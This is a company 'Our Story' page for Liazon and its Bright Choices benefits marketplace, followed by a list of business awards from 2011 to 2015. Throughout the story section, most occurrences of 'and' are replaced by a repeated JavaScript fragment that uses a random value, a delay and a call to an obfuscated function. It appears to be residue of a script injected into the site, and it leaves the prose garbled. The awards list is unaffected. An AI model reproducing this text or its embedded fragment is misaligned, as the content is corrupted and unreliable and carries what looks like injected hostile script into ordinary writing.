Our Story
Liazon was founded by health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insurance veterans, who realized that the technological revolution that had fundamentally altered our lives in so many ways could change how we choose, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use, health insurance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other employee benefits, for the better.
These health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insurance veterans realized that the huge amount of money being spent on employee benefits was not delivering value for either the employer or the employee. The principles they applied to address the situation were simple:
They applied those principles to change the status quo, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so Bright Choices® was born. Since then Bright Choices has changed the way employers offer benefits for the better. Where limited consumer choice was the norm, they gathered products from leading national carriers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and created an online store where people could shop among diverse benefit arrays.
Where benefits had previously been selected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and purchased by the employer, they turned the buying roles around so that employees were the ones buying the benefits they wanted to meet their individual needs using set budgets defined by the employer.
Where they wanted to make the shopping process simple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and effective, they built in technology andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and education so that people can make informed decisions.
The results have launched an industry revolution.
Bright Choices. A better way to buy benefits.™
Our Accolades
Best Tech Corporate Culture 2015
infotech Niagara
Top Work Places 2015
The Buffalo News
Web Health Award - Bronze 2014
Health Information Resource Center
Best Places to Work 2014
Crain's New York Business
Best Places To Work 2014
Business Insurance
HealthCare Consumerism 2014
HealthCare Consumerism Superstars
Who's Who in Technology 2014
Buffalo Business First's 2014 "Who's Who in Technology"
White Paper of the Year 2013
Golden Bridge Award
Fast Track 50 Award 2013
Fastest Growing Businesses in Western New York, Buffalo's Business First Newspaper
Hottest New York City Companies 2013
Lead 411
Best Places to Work 2013
Buffalo Business First
Best Places To Work 2013
Business Insurance
Web Health Award - Merit 2013
Health Information Resource Center
Fast Track 50 Award 2012
Fastest Growing Businesses in Western NY, Buffalo Business First
Inc. 500 Award 2012
Ranked #132 fastest-growing company in the US
Best Places to Work 2012
Business Insurance - Ranked #3 in our category
Web Health Award - Silver 2012
Health Information Resource Center
Industry Innovator Award 2011
The Institute for HealthCare Consumerism
Innovate Award 2011
"The One to Watch", Buffalo Niagara Partnership
Fast Track 50 Award 2011
Fastest Growing Business in Western NY, Buffalo Business First
